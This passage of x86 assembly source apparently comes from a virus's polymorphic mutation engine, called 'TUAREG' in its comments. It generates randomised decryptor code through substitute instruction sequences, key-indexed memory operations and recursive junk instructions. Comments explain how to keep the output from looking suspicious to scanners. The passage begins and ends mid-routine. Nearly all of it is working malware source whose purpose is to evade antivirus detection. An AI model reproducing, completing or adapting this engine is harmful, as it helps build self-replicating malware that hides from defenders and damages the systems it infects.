jmp DoXXXWithMemAndReg
DoSUBMemReg endp

DoXORRegMem proc
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 33h
jmp DoXXXWithMemAndReg
DoXORRegMem endp

DoXORMemReg proc
mov byte ptr [ebp+OpcodeToUseInXXXFunc], 31h
jmp DoXXXWithMemAndReg
DoXORMemReg endp

OpcodeToUseInXXXFunc db 0

DoADDMemValue proc
pushad
push eax
call Random
mov ecx, eax
pop eax
and cl, 3
jz @@ADD
cmp cl, 2
jb @@ADD2
jz @@SUB
@@SUB2: cmp byte ptr [ebp+KeyIsInit], 1
jnz @@SUB
neg eax
push eax
mov ax, 2881h
DoXXXMemValue_Common2:
or ah, [ebp+KeyRegister]
sub ebx, [ebp+DecryptKey]
cmp ebx, 7Fh
jbe @@SUB2b
cmp ebx, 0FFFFFF80h
jae @@SUB2b
or ah, 80h
DoXXXMemValue_Common:
pop ecx
stosw
xchg ebx, eax
stosd
xchg ecx, eax
stosd
jmp @@End
@@SUB2b: or ah, 40h
pop ecx
stosw
xchg ebx, eax
stosb
xchg ecx, eax
stosd
jmp @@End
@@SUB: neg eax
push eax
mov ax, 2D81h
jmp DoXXXMemValue_Common
@@ADD: push eax
mov ax, 0581h
jmp DoXXXMemValue_Common
@@ADD2: cmp byte ptr [ebp+KeyIsInit], 1
jnz @@ADD
push eax
mov ax, 0081h
jmp DoXXXMemValue_Common2

@@End: mov [esp+S_EDI], edi


popad
ret
DoADDMemValue endp

DoSUBMemValue proc
push eax
neg eax
call DoADDMemValue
pop eax
ret
DoSUBMemValue endp

DoXORMemValue proc
pushad
call RandomFlags
jz @@XOR
@@XOR2: cmp byte ptr [ebp+KeyIsInit], 1
jnz @@XOR
push eax
mov ax, 3081h
jmp DoXXXMemValue_Common2
@@XOR: push eax
mov ax, 3581h
jmp DoXXXMemValue_Common
DoXORMemValue endp

;; This function makes code to move the value of one register to another. This
;; task can be made with:
;; - MOV Reg1,Reg2
;; - LEA Reg1,[Reg2]
;; - PUSH Reg2/Garbage/POP Reg1
;; When calling: DL=Destiny register, DH=Source register
DoMOVRegReg proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@NoRecursives

call Random
and al, 3
jz @@PUSHPOP
cmp al, 2
jb @@LEA
jz @@MOV
@@MOVMEM: call GetAndReserveVar
or ebx, ebx
jz @@NoRecursives
xchg dh, dl
call DoMOVMemReg
call DoRandomGarbage
xchg dh, dl
call DoMOVRegMem
call ReleaseVar
jmp @@End
@@PUSHPOP: xchg dh, dl
call DoPUSHReg
call DoRandomGarbage
xchg dh, dl
call DoPOPReg
jmp @@End
@@LEA:
;; Here we make: LEA Reg1,[Reg2]
;; The opcode of instruction LEA is as follows:
;; LEA = 8Dh+ 00(IndexAdding).000(Destiny).000(SourceInBrackets - Not 5)
;; To put EBP in SourceInBrackets, IndexAdding must be 1 or 2.
shl dl, 3 ; Prepare the destiny register to set it to
; the opcode
cmp dh, 5 ; Is the source register EBP?
jz @@LEA_EBP ; If it is, jump
mov ax, 008Dh ; AX=Clean opcode of LEA
or ah, dl ; Set the destiny register
or ah, dh ; Set the register in brackets
stosw ; Store the opcode
jmp @@End ; Jump to return
@@LEA_EBP: mov ax, 458Dh ; Opcode of LEA Reg,[EBP+something]
or ah, dl ; Set the destiny register
stosw ; Store the opcode
xor al, al
stosb ; Store a 0 addition
jmp @@End ; Jump to return

;; Make a MOV Reg1,Reg2


@@MOV: mov ax, 0C089h ; Opcode of MOV Reg,Reg
call RandomFlags
js @@MOV_2 ; Random jump (to avoid alternative opcode)
add al, 2 ; Make 8B C0 as instruction, so...
xchg dh, dl ; ...we have to exchange source and destiny
@@MOV_2: shl dh, 3 ; Set the registers to the opcode
or ah, dh
or ah, dl
stosw ; Store the opcode
jmp @@End ; Jump to return

@@NoRecursives:
call RandomFlags
jz @@LEA
jmp @@MOV

EndRecursiveMOVing:
@@End: dec byte ptr [ebp+MOVingRecursLevel]
mov [esp+S_EDI], edi ; Conserve EDI
popad
ret ; Return
DoMOVRegReg endp

MOVingRecursLevel db 0

;; Returns: EBX=Address to use


;; The returned address is reserved for prevent its using.
;; If there are no more free memory variables, then EBX=0
GetAndReserveVar proc
push eax
push ecx
movzx ecx, byte ptr [ebp+GarbageRecursivity]
lea ecx, [ebp+8*ecx]
call Random
and eax, 7
mov ebx, eax
@@Loop01: cmp byte ptr [ecx+eax+ReservedMemVars_F], 0
jz @@Found
inc eax
@@Loop02: cmp eax, ebx
jz @@ReturnError
cmp eax, 8
jb @@Loop01
xor eax, eax
jmp @@Loop02
@@Found: mov byte ptr [ecx+eax+ReservedMemVars_F], 1
sub ecx, ebp
lea ecx, [ebp+4*ecx]
mov ebx, [ecx+4*eax+ReservedMemVars_Addr]
pop ecx
pop eax
ret
@@ReturnError:
xor ebx, ebx
pop ecx
pop eax
ret
GetAndReserveVar endp

;; In: EBX=Reserved memory address to "unlock"


;; Returns: Nothing (even if there's an error)
ReleaseVar proc
push ecx
push edx
movzx edx, byte ptr [ebp+GarbageRecursivity]
shl edx, 5
lea edx, [ebp+edx]
mov ecx, 8
@@Loop01: cmp dword ptr [edx+4*ecx+ReservedMemVars_Addr-4], ebx
jz @@Found
loop @@Loop01
pop edx
pop ecx
ret
@@Found: sub edx, ebp
shr edx, 2
add edx, ebp
mov byte ptr [edx+ecx+ReservedMemVars_F-1], 0
pop edx
pop ecx
ret
ReleaseVar endp

;; DL=Register to PUSH
DoPUSHReg proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@DirectPUSH
call RandomFlags
jz @@DirectPUSH

call GetAndReserveVar
or ebx, ebx
jz @@DirectPUSH
call DoMOVMemReg
call DoRandomGarbage
call DoPUSHMem
call ReleaseVar
jmp EndRecursiveMOVing

@@DirectPUSH:
mov al, 50h
add al, dl
stosb
jmp EndRecursiveMOVing
DoPUSHReg endp

DoPOPReg proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@DirectPOP

call GetAndReserveVar
or ebx, ebx
jz @@DirectPOP
call DoPOPMem
call DoRandomGarbage
call DoMOVRegMem
call ReleaseVar
jmp EndRecursiveMOVing

@@DirectPOP: mov al, 58h


add al, dl
stosb
jmp EndRecursiveMOVing
DoPOPReg endp

;; In: EBX=Memory address


DoPUSHMem proc
pushad
call RandomFlags
jz @@WithIndex
@@Direct: mov ax, 35FFh
CommonWithDoPUSH2:
@@Common: stosw
mov eax, ebx
stosd
jmp @@End

@@WithIndex: cmp byte ptr [ebp+KeyIsInit], 1


jnz @@Direct
mov ax, 0B0FFh
CommonWithDoPUSH:
or ah, [ebp+KeyRegister]
sub ebx, [ebp+DecryptKey]
cmp ebx, 7Fh
jb @@ByteAddition
cmp ebx, 0FFFFFF80h
jb @@Common
@@ByteAddition:
and ax, 3FFFh
or ah, 40h
stosw
mov eax, ebx
stosb

EndOfDoPUSHMem:
@@End: mov [esp+S_EDI], edi
popad
ret
DoPUSHMem endp

DoPOPMem proc
pushad
call RandomFlags
jz @@WithIndex
@@Direct: mov ax, 058Fh
jmp CommonWithDoPUSH2
@@WithIndex: cmp byte ptr [ebp+KeyIsInit], 1
jnz @@Direct
mov ax, 0808Fh
jmp CommonWithDoPUSH
DoPOPMem endp

DoMOVRegMem proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@NoRecursives

@@OtherRandom:
call Random
and al, 3
jz @@OtherRandom
cmp al, 2
jb @@DirectMOV
jz @@DirectMOVIndexed
@@PUSHPOP: call DoPUSHMem
call DoRandomGarbage
call DoPOPReg
jmp EndRecursiveMOVing

@@DirectMOV: mov ax, 058Bh


CommonMRMDirectMOV:
shl dl, 3
or ah, dl
stosw
mov eax, ebx
stosd
jmp EndRecursiveMOVing

@@DirectMOVIndexed:
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@DirectMOV
mov ax, 808Bh
CommonMRMDirectMOV2:
or ah, [ebp+KeyRegister]
sub ebx, [ebp+DecryptKey]
cmp ebx, 7Fh
jbe @@Cont_01
cmp ebx, 0FFFFFF80h
jb CommonMRMDirectMOV
@@Cont_01: and ah, 07h
shl dl, 3
or ah, dl
or ah, 40h
stosw
mov eax, ebx
stosb
jmp EndRecursiveMOVing

@@NoRecursives:
call RandomFlags
jz @@DirectMOV
jmp @@DirectMOVIndexed
DoMOVRegMem endp

DoMOVMemReg proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@NoRecursives

@@OtherRandom:
call Random
and al, 3
jz @@OtherRandom
cmp al, 2
jb @@DirectMOV
jz @@DirectMOVIndexed

@@PUSHPOP: call DoPUSHReg


call DoRandomGarbage
call DoPOPMem
jmp EndRecursiveMOVing

@@DirectMOV: mov ax, 0589h


jmp CommonMRMDirectMOV
@@DirectMOVIndexed:
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@DirectMOV
mov ax, 8089h
jmp CommonMRMDirectMOV2

@@NoRecursives:
call RandomFlags
jz @@DirectMOV
jmp @@DirectMOVIndexed
DoMOVMemReg endp

;; This constructs a XOR between two registers. As the function DoXOR, it has
;; to be made directly, since there aren't more options to do a XOR. Anyway,
;; we can use two slightly different opcodes to perform that.
;; When we call it: DH=Source register, DL=Destiny register
DoXORRegReg proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@Direct
call RandomFlags
jz @@Direct

call GetAndReserveVar
or ebx, ebx
jz @@Direct
xchg dh, dl
call DoMOVMemReg
call DoRandomGarbage
xchg dh, dl
call DoXORRegMem
call ReleaseVar
jmp @@End

@@Direct: mov ax, 0C031h ; Opcode of XOR Reg,Reg


DoXXXRegReg: call RandomFlags ; Random Zero Flag
jz @@1 ; Jump and avoid the next instructions
add al, 2 ; Convert opcode to 33h so...
xchg dh, dl ;...we must exchange source and destiny
@@1: shl dh, 3
or ah, dl
or ah, dh ; Set the registers to the opcode
stosw ; Store the opcode

EndOfRecursiveMOVing:
@@End: dec byte ptr [ebp+MOVingRecursLevel]
mov [esp+S_EDI], edi
popad
ret
DoXORRegReg endp

DoADDRegReg proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@NoRecursives

@@Other: call Random


and al, 3
jz @@Other
cmp al, 2
jb @@Direct
jz @@LEA

call GetAndReserveVar
or ebx, ebx
jz @@Direct
xchg dh, dl
call DoMOVMemReg
call DoRandomGarbage
xchg dh, dl
call DoADDRegMem
call ReleaseVar
jmp EndOfRecursiveMOVing

@@LEA: mov ax, 048Dh


cmp dh, dl
jz @@Direct
cmp dh, 5
jz @@LEA_x
cmp dl, 5
jz @@LEA_y
call RandomFlags
jz @@LEA_x
@@LEA_y: xchg dh, dl
@@LEA_x: stosw
mov al, dl
shl dh, 3
or al, dh
stosb
jmp EndOfRecursiveMOVing

@@NoRecursives:
call RandomFlags
jz @@Direct
jmp @@LEA

@@Direct: mov ax, 0C001h


jmp DoXXXRegReg
DoADDRegReg endp

DoSUBRegReg proc
pushad
inc byte ptr [ebp+MOVingRecursLevel]
cmp byte ptr [ebp+MOVingRecursLevel], 5
jae @@Direct
call RandomFlags
jz @@Direct
call GetAndReserveVar
or ebx, ebx
jz @@Direct
xchg dh, dl
call DoMOVMemReg
call DoRandomGarbage
xchg dh, dl
call DoSUBRegMem
call ReleaseVar
jmp EndOfRecursiveMOVing

@@Direct: mov ax, 0C029h


jmp DoXXXRegReg
DoSUBRegReg endp

;; This set of three functions are called using RandomCalling to call them
;; in a random order, because the order doesn't matter here. This functions
;; set the initial value to Index1, Index2 and Key registers.
SetIndex2Register proc
mov eax, [ebp+InitialValue] ; Get the initial value
mov dl, [ebp+Index2Register] ; Get Index2Register
call DoMOV ; Make a move operation
call DoRandomGarbage ; Make garbage
ret ; Return
SetIndex2Register endp

;; Set the Index1 register initial value


SetIndex1Register proc
mov dl, [ebp+Index1Register] ; Get Index1Register
call Random ; Generate a random addition for the
and eax, Virus_SizePOW2 - 4 ; PRIDE technique
call DoMOV ; Make a move operation
call DoRandomGarbage ; Make garbage
ret ; Return
SetIndex1Register endp

;; Set the Key register value


SetKeyRegister proc
mov dl, [ebp+KeyRegister] ; Get KeyRegister
mov eax, [ebp+DecryptKey] ; Get decryption key
call DoMOV ; Make a move operation
call DoRandomGarbage ; Make garbage
mov byte ptr [ebp+KeyIsInit], 1
ret ; Return
SetKeyRegister endp

KeyIsInit db 0

;; Here it is the most used function of this engine. This function calls up to
;; three times to the function Garbage, which generates a single garbage ins-
;; truction (in the case it doesn't select any recursive type).
DoRandomGarbage proc
push eax
call Random
and eax, 3 ; Get a random number between 0 and 3
call RandomFlags
jz @@Check0
cmp eax, 1
jbe @@End
dec eax
jmp @@Loop
@@Check0: or eax, eax
jz @@End
@@Loop: call Garbage ; Call the main function of garbage
dec eax
jnz @@Loop ; Repeat EAX times
@@End: pop eax ; Restore EAX
ret ; Return
DoRandomGarbage endp

GarbageRecursivity db 0 ; This variable is incremented each time


; we enter in Garbage, and decreased when
; we exit. With this, we can control the
; garbage quantity on recursive types, and
; we can have a closer control when creating
; subroutines.

;; The main garbage generator. It can generate garbage of many types, and it
;; can be recursively called (some types of garbage are composed of two or
;; more instructions, so DoRandomGarbage is called between).
Garbage proc
pushad ; Save all
inc byte ptr [ebp+GarbageRecursivity] ; Increase the num-
; ber of active instances of Garbage
cmp byte ptr [ebp+GarbageRecursivity], 5 ; If we are too
jz @@Return ; high on recursive instances, exit
call RandomFlags ; Do we make garbage?
jz @@Make1
js @@Make1
jp @@DontMake

@@Make1: call Random ; Get a random type


and al, 3
jz @@GeneralWithValue ; Let's do a common type with direct
; value
cmp al, 2
jb @@GeneralWithReg ; Common type with a random register
jz @@NotEasyOnes ; Some complex ones
;; Some mixed types. We can do XCHG, MOVZX, MOVSX, INC, DEC and PUSH/
;; POP pairs
@@SomeMore: call RandomFlags
jz @@Make1
and ah, 3
jz @@XCHG ; Do XCHG
cmp ah, 2
jb @@MOVZXSX ; Do MOVZX or MOVSX
jz @@INCDEC ; Do INC or DEC

;; Let's do PUSH Reg/Garbage/POP Reg


@@PUSHPOP:
@@PUSHPOP32: cmp byte ptr [ebp+GarbageRecursivity], 4
jz @@Make1 ; If we can't do more garbage (many recursive
; calls), select another type
call SelectAnyRegisterWithInit ;Get an initialized register
add al, 50h
stosb ; PUSH it
mov esi, edi ; Save the current storage address (EDI)
@@PUSHPOP_4: call DoRandomGarbage ; Make garbage
cmp esi, edi ; Current EDI=Saved EDI?
jz @@PUSHPOP_4 ; Then, it means that no garbage were
; generated, so jump to make again
@@PUSHPOP_2: call SelectARegister ; Select a not-reserved register
add al, 58h ; Construct a POP
stosb ; Store the opcode
jmp @@Return ; Return

;; Let's make XCHG Reg32,Reg32, XCHG Reg16,Reg16 or XCHG Reg8,Reg8


@@XCHG: call RandomFlags
jz @@XCHG32 ; XCHG Reg32,Reg32 with a 75% of probability,
js @@XCHG8 ; XCHG Reg8,Reg8 with a 25% of probability
@@XCHG32: call SelectARegisterWithInit ; Get a not-reserved initiali-
mov dl, al ; zed register and save it in DL
@@XCHG_01: call SelectARegisterWithInit ; Get another not-reserved
; initialized register
cmp dl, al ; Is the same register?
jz @@XCHG_01 ; Then, select another
or al, al ; EAX?
jz @@XCHGWithEAX2 ; Then, use the optimized opcode
or dl, dl ; EAX?
jz @@XCHGWithEAX ; Then use the optimized opcode (1 byte)
mov ah, 0C0h
or ah, al
mov al, 87h
shl dl, 3 ; Construct the opcode with the two registers.
or ah, dl ; The opcode is 87 C0+Reg1*8+Reg2
stosw ; Store the opcode
jmp @@Return ; Return
@@XCHGWithEAX2:
mov al, dl ; Set the other register (the one which isn't
; EAX) in AL
@@XCHGWithEAX:
add al, 90h ; Add the mask of the opcode of XCHG Reg,EAX
stosb ; Store the opcode
jmp @@Return ; Return
@@XCHG8: call SelectAReg8 ; Get a 8 bits register
cmp al, 8 ; Test if we can select anyone (maybe the
; four reserved registers are casually
; all the E?X)
jz @@Make1 ; If we can't, select another type of garbage
mov dl, al ; Save it in DL
call SelectAReg8 ; Get a 8 bits register
cmp dl, al ; Is it the same?
jz @@Make1 ; If it's the same, select another type of
; garbage, because maybe only one E?X can be
; selected for garbage
add al, 0C0h ; Set the mask of "register usage" in the
; second opcode
shl dl, 3
add al, dl ; Set the other register
mov ah, al
mov al, 86h ; Put the main opcode (86h) in AL
stosw ; Store the 2 bytes opcode
jmp @@Return ; Return

;; Here we make MOVZX Reg32,Reg8/Reg16 or MOVSX Reg32,Reg8/Reg16


@@MOVZXSX: call SelectARegister ; Get a register
mov dl, al ; Save it in DL
@@MOVZX_01: call SelectAnyRegisterWithInit ;Get any init. register
cmp al, dl ; Is it the same?
jz @@MOVZX_01 ; If it's the same, select another
shl dl, 3 ; Set the register number in bits 5-4-3
push eax ; Save the second register
call Random ; Get a random number
mov al, 0Fh ; AL=Extended opcode (0Fh)
and ah, 9
add ah, 0B6h ; Get in AH a random B6h, B7h, BEh or BFh
; 0F B6: MOVZX Reg32,Any8
; 0F B7: MOVZX Reg32,Any16
; 0F BE: MOVSX Reg32,Any8
; 0F BF: MOVSX Reg32,Any16
stosw ; Store the opcode
pop eax ; Restore register
or al, 0C0h ; Activate "register usage" with the 8 or 16
; bits register
or al, dl ; Set the destiny register
stosb ; Store the third opcode
jmp @@Return ; Return

;; Make INC or DEC. This types are only INC Reg32 or INC Reg8
@@INCDEC: call RandomFlags
jc @@INC32 ; Make INC Reg32 with a 75% of probability
js @@INC8 ; Make INC Reg8 with a 25% of probability
@@INC32: call SelectARegisterWithInit ; Get a not-reserved initiali-
mov dl, al ; zed register and save it in DL
call Random
and al, 8 ; Get INC if AL=0 or DEC if AL=8
add al, 40h ; Add opcode mask
add al, dl ; Add register mask
stosb ; Store the opcode
jmp @@Return ; Return
;; 8 bits version
@@INC8: call SelectAReg8 ; Get a 8 bits register
cmp al, 8 ; If there aren't selectable 8 bits regis-
jz @@Make1 ; ters, select another type of garbage
mov dl, al ; Set the register in DL
call Random
and ah, 8 ; Get INC or DEC
add ah, dl ; Set the register in the second opcode
add ah, 0C0h ; Mask the second opcode for "register"
mov al, 0FEh ; AL=Main opcode. This opcode has some
; weird instructions that generate exceptions, since the other
; instructions are only for 32 bits, but you can play with the
; DEBUG and generate instructions like CALL AL (FEh D0h) :)
stosw ; Store the opcode
jmp @@Return ; Return

;; GeneralWithValue begins here. This part generates an instruction from the


;; common most used opcodes 80h and 81h. This time we select a not-reserved
;; register and then we make ADD, OR, ADC, SBB, AND, SUB, XOR or CMP (well,
;; that CMP is substituted by MOV). It's very easy to do.
@@Make1_: popf ; This is to restore flags from stack and
jmp @@Make1 ; jump to make another type of garbage
@@GeneralWithValue:
call RandomFlags ; Get a random type
pushf ; Save this new flags
jz @@GWV_32b
js @@GWV_32b ; Make a 32 bits one (75% of probability)
@@GWV_8b: call SelectAReg8 ; Get a 8 bits register
cmp al, 8 ; Can be selected?
jz @@Make1_ ; If not, jump (pop flags and select other
; type of garbage)
mov dl, al ; Save the register in DL
call Random
and al, 38h ; Get a random operation
cmp al, 38h ; Were we going to make CMP?
jnz @@GWV8_01 ; If not, continue
mov al, 0B0h ; Make a MOV
add al, dl ; Mask the register
stosb ; Store the opcode
jmp @@GWV_02 ; Jump to insert a random value
@@GWV8_01: or dl, dl ; Are we going to use AL?
jz @@GWV_AL ; If we use it, use its own opcode
mov ah, 80h ; Opcode 80h (OP Reg8,Value8)
jmp @@GWV_03 ; Jump and continue

@@GWV_32b: call SelectARegisterWithInit ; Get an initialized not-re-


; served 32 bits register
mov dl, al ; DL=Reg32
call Random
and al, 38h ; Get a random operation
cmp al, 38h
jnz @@GWV_01 ; If we were going to use CMP, use MOV
push edx
movzx edx, dl ; Check if the register is "touched". If it
cmp byte ptr [ebp+edx+TouchedRegisters], 1 ; is, we avoid
pop edx ; moving a value on it (it's very suspicious
; to have two MOVs one after another, so just
; in case before there is another MOV, we
; avoid it).
jz @@Make1_ ; If it's "touched", select another type of
; garbage
mov al, 0B8h ; MOV instead of CMP
add al, dl ; Mask the opcode
stosb ; Store the opcode
jmp @@GWV_02 ; Jump to store the value
@@GWV_01: or dl, dl ; EAX?
jz @@GWV_EAX ; Then use its own opcode
mov ah, 81h ; Opcode 81h (OP Reg32,Value32)
@@GWV_03: xchg ah, al ; Exchange the opcodes in AH and AL
or ah, 0C0h ; Mask the 2nd opcode
or ah, dl ; Set the register to the 2nd opcode
stosw ; Store the opcode
jmp @@GWV_02 ; Jump to complete the instruction
@@GWV_EAX: add al, 1
@@GWV_AL: add al, 4 ; If the register was AL, we add 4 to the opcode
; in AL to make OP AL,Value8. If the register
; was EAX, we add 5 to the opcode in AL to make
; OP EAX,Value32
stosb ; We store the opcode
@@GWV_02: call Random ; Get a random number in EAX
popf ; Restore flags to know wether to use 8 bits
jz @@Store32 ; or 32 bits to complete the instruction
js @@Store32
@@Store8: stosb ; Store a random byte to complete
jmp @@Return ; Return
@@Store32: stosd ; Store a random dword to complete
jmp @@Return ; Return

;; This part is similar to GeneralWithValue, but this time we use a random


;; register as source of operation, not a value.
@@GeneralWithReg:
call RandomFlags
jz @@GWR_32b
jc @@GWR_32b ; Select 32 bits instructions with a 75% of
; probability
@@GWR_8b: call SelectAReg8 ; Select a 8 bit register
cmp al, 8 ; Can we select them?
jz @@Make1 ; If not, we select another type of garbage
mov dl, al ; Save it in DL
@@GWR8_02: call SelectAReg8 ; Select another Reg8
mov dh, al ; Save it in DH
cmp dl, al ; Are they the same register?
jnz @@GWR8_01 ; If not, jump and use a random operation
call RandomFlags ; Jump to select another Reg8 with a 50%
jz @@GWR8_02 ; of probability
call Random
and ah, 8 ; Since the registers are equal, we select
add ah, 28h ; a more reliable instruction (XOR or SUB)
jmp @@GWR8_04 ; Jump to continue with this opcode
@@GWR8_01: call Random
@@GWR8_04: and ah, 38h ; Get a random operation
cmp ah, 38h ; Check if it's CMP
jnz @@GWR8_03 ; If it isn't jump
push edx
movzx edx, dl
and dl, 3
cmp byte ptr [ebp+edx+TouchedRegisters], 1
pop edx ; Is that register "touched"?
jz @@Make1 ; If it is, select other type of garbage
mov ah, 88h ; MOV instead of CMP
@@GWR8_03: mov al, ah ; Put it in AL
jmp @@GWR_04 ; Jump to make the instruction

@@GWR_32b: call SelectARegisterWithInit ; Select an initialized not-


mov dl, al ; reserved register and save it in DL
@@GWR32_01: call SelectAnyRegisterWithInit ; Get any initialized regis-
cmp dl, al ; ter and compare it with the selected before
jnz @@GWR_03 ; If it's different, jump
call RandomFlags ; If it's equal, repeat the register ob-
jz @@GWR32_01 ; tention with a 50% of probability
mov dh, al ; Save the register in DH
call Random ; Select XOR or SUB, which are the most re-
and ah, 8 ; liable instructions that can be used with
add ah, 28h ; the same source and operand register
jmp @@GWR_05 ; Jump and continue
@@GWR_03: mov dh, al ; Save the register
call Random
@@GWR_05: and ah, 38h ; Get a random operation
cmp ah, 38h ; CMP?
jnz @@GWR_02 ; If not, jump
push edx
movzx edx, dl
cmp byte ptr [ebp+edx+TouchedRegisters], 1
pop edx ; Is the register "touched"?
jz @@Make1 ; If it is, avoid MOV (and select another
; type of garbage)
mov ah, 88h ; MOV instead of CMP
@@GWR_02: mov al, ah ; Put the opcode in AL
inc eax ; Make it "32 bits"
@@GWR_04: mov ah, 0C0h ; 2nd opcode as "register usage"
call RandomFlags ; Get alternate?
jz @@GWR_01 ; Jump if not
add al, 2 ; Add 2 to the opcode...
xchg dh, dl ; ...and exchange source and destiny
@@GWR_01: shl dh, 3
or ah, dl
or ah, dh ; Set the registers in the 2nd opcode
stosw ; Store the opcode
jmp @@Return ; Return

;; Here we make various types of "difficult" garbage. In this part of the


;; function we construct CALLs, conditional jumps, memory read/writes or
;; LEAs with complicated sources.
@@NotEasyOnes: call RandomFlags
jz @@RecursiveOnes
js @@MemoryOperation

;; Here we construct a LEA


@@LEA: call SelectARegister ; Get a not-reserved register
mov dl, al
movzx edx, dl ; Check if the register is "touched"
cmp byte ptr [ebp+edx+TouchedRegisters], 1
jz @@Make1 ; If it is, select other type of garbage
@@LEA_00: call Random ; Get a type of LEA
and al, 3
jz @@LEA_00 ; AL=0: Repeat random getting
cmp al, 2
jb @@Direct ; AL=1: LEA Reg,[Direct_Value]
jz @@OneReg ; AL=2: LEA Reg,[Reg+Value]

;; Here we make: LEA Reg,[(X*)Reg+Reg+Value]


@@TwoRegs: mov ax, 848Dh ; LEA with three opcodes
shl dl, 3
or ah, dl ; Set the destiny register
stosw ; Store the first two bytes of the opcode
call Random ; Get a random byte
stosb ; Store it to get a completely random index
call Random ; Get a random addition
stosd ; Store it
jmp @@Return ; Return

;; Here we make: LEA Reg,[Reg+Value]


@@OneReg: call Random
and ah, 7
cmp ah, 4
jz @@OneReg ; Random register (not ESP) for source
add ah, 80h ; Set dword addition
@@LEA_01: shl dl, 3
or ah, dl ; Set the destiny register
mov al, 8Dh ; Main opcode of LEA
stosw ; Store the opcode
call Random
stosd ; Store a random addition
jmp @@Return ; Return

;; Here we make: LEA Reg,[Value]


@@Direct: mov ah, 05h ; Put this special opcode (direct value)
jmp @@LEA_01 ; Jump to complete the instruction

@@MemoryRead db 0 ; This variable signalizes a memory read or a me-


; mory write in the code below
@@Memo32bits db 0 ; This variable indicates if a 32 bits read/write
; is made, or we are doing a 8 bits one

;; Here we make a memory operation. We can make a read or write, and it can
;; be indexed, using the Key register, since it's the only one that doesn't
;; change its value (at least in this version of the TUAREG).
;; We have to be sure that the used memory addresses exist (even reads), due
;; to the fact that it's protected mode and the memory addresses are 32 bits,
;; not like DOS where we can read from anywhere.
@@MemoryOperation:
call RandomFlags
setz al ; Get a random AX being 0000h, 0001h, 0100h or
sets ah ; 0101h, to set @@MemoryRead and @@Memo32bits
mov word ptr [ebp+@@MemoryRead], ax ; with random 0 or 1
; and use them to construct the garbage instruction
call SelectAnAddressLow ; Get a random read/writing address
; in EBX
call RandomFlags ; Randomly, select the type of instruction
jz @@MW_WithReg ; If ZF, make a read/write with a reg

;; Make: OP [Memory_Address],Value
@@MW_WithValue:
call Random
and ah, 38h ; Get a random operation
cmp ah, 38h ; CMP?
jz @@MW_WV_MOV ; Then, do MOV
mov al, 80h ; Set main opcode
jmp @@MW_Continue01 ; Jump
@@MW_WV_MOV: mov ax, 00C6h ; C6 = Opcode of MOV
@@MW_Continue01:
call RandomFlags ; Indexed?
jz @@MW_WV_NotIndexed
js @@MW_WV_NotIndexed
jc @@MW_WV_Indexed
jp @@MW_WV_NotIndexed
; Select indexed with a (12.5%+6.25%) of probability
;; This is the indexed one. We can do OP Reg,[Reg2+Value] (or the reverse)
@@MW_WV_Indexed:
cmp byte ptr [ebp+KeyIsInit], 1
jnz @@MW_WV_NotIndexed ; If it isn't set yet, then make a
; not indexed operation
call RandomFlags
jz @@MW_WV_NotThird
js @@MW_WV_NotThird
or ah, 04h ; Activate third opcode
call RandomFlags
pushf
jz @@MW_WV_Mult_32b
js @@MW_WV_Mult_8b
@@MW_WV_Mult_32b:
inc eax
@@MW_WV_Mult_8b:
stosw
@@MW_WV_RepeatMult:
call Random
and al, 3
jz @@MW_WV_RepeatMult
mov cl, al
mov al, byte ptr [ebp+KeyRegister]
shl al, 3
or al, 5
mov edx, [ebp+DecryptKey]
shl edx, cl
ror cl, 2
or al, cl
stosb
sub ebx, edx
jmp @@MW_WVGb
@@MW_WV_NotThird:
or ah, 80h ; Mask the opcode for dword addition
or ah, byte ptr [ebp+KeyRegister] ; Set the key register
sub ebx, [ebp+DecryptKey] ; Subtract the value of the
; key register to the memory address
jmp @@MW_WV_01 ; Jump to complete the instruction
;; Here we make not indexed operations
@@MW_WV_NotIndexed:
add ah, 5 ; Direct value inside the brackets
@@MW_WV_01:
call RandomFlags
pushf
jz @@MW_WV32b
js @@MW_WV8b ; Select 8 or 32 bits

@@MW_WV32b: inc eax ; If 32 bits, increase the main opcode


@@MW_WV8b: stosw ; Store the opcode
@@MW_WVGb: mov eax, ebx ; Complete with the addition or the direct
stosd ; memory address
call Random ; Get a random value in EAX
popf
jz @@Store32 ; If 32 bits, complete with a random dword
js @@Store8 ; value. If not, complete with only a byte
jmp @@Store32

;; Here we use a random register instead of a value. This time we can make
;; reads or writes (with value we can only do writes). If we write to me-
;; mory, we can use any of the seven general purpose registers. If it's
;; a read, only a not-reserved one.
@@MW_WithReg:
cmp byte ptr [ebp+@@MemoryRead], 1 ; Read or write?
jnz @@MW_WR_80 ; Jump if write
cmp byte ptr [ebp+@@Memo32bits], 1 ; 8 or 32 bits?
jz @@MW_WR_79 ; Jump if 32 bits
;; Here we make OP Reg8,[(Reg+)Value]
call SelectAReg8 ; Select a 8 bits register
cmp al, 8 ; Can we select anyone?
jz @@MemoryOperation ; If not, select another type of op.
jmp @@MW_WR_81 ; Jump and continue
;; Here we make OP Reg32,[(Reg+)Value]
@@MW_WR_79: call SelectARegister ; Select a not-reserved register
jmp @@MW_WR_81 ; Jump and continue
;; Here we make OP [(Reg+)Value],Reg8/32
@@MW_WR_80: call SelectAnyRegisterWithInit ; Select any register, and
; initialize it to a random value if it isn't
; set with a value
@@MW_WR_81: mov dl, al ; Save the register in DL
call Random ; Get an operation
and al, 38h
call RandomFlags ; Select indexed or not
jz @@MW_WR_NotIndexed
js @@MW_WR_NotIndexed
jc @@MW_WR_Indexed
jp @@MW_WR_NotIndexed
;; Here if we use indexation using the Key register
@@MW_WR_Indexed:
cmp byte ptr [ebp+KeyIsInit], 1 ; If the key register
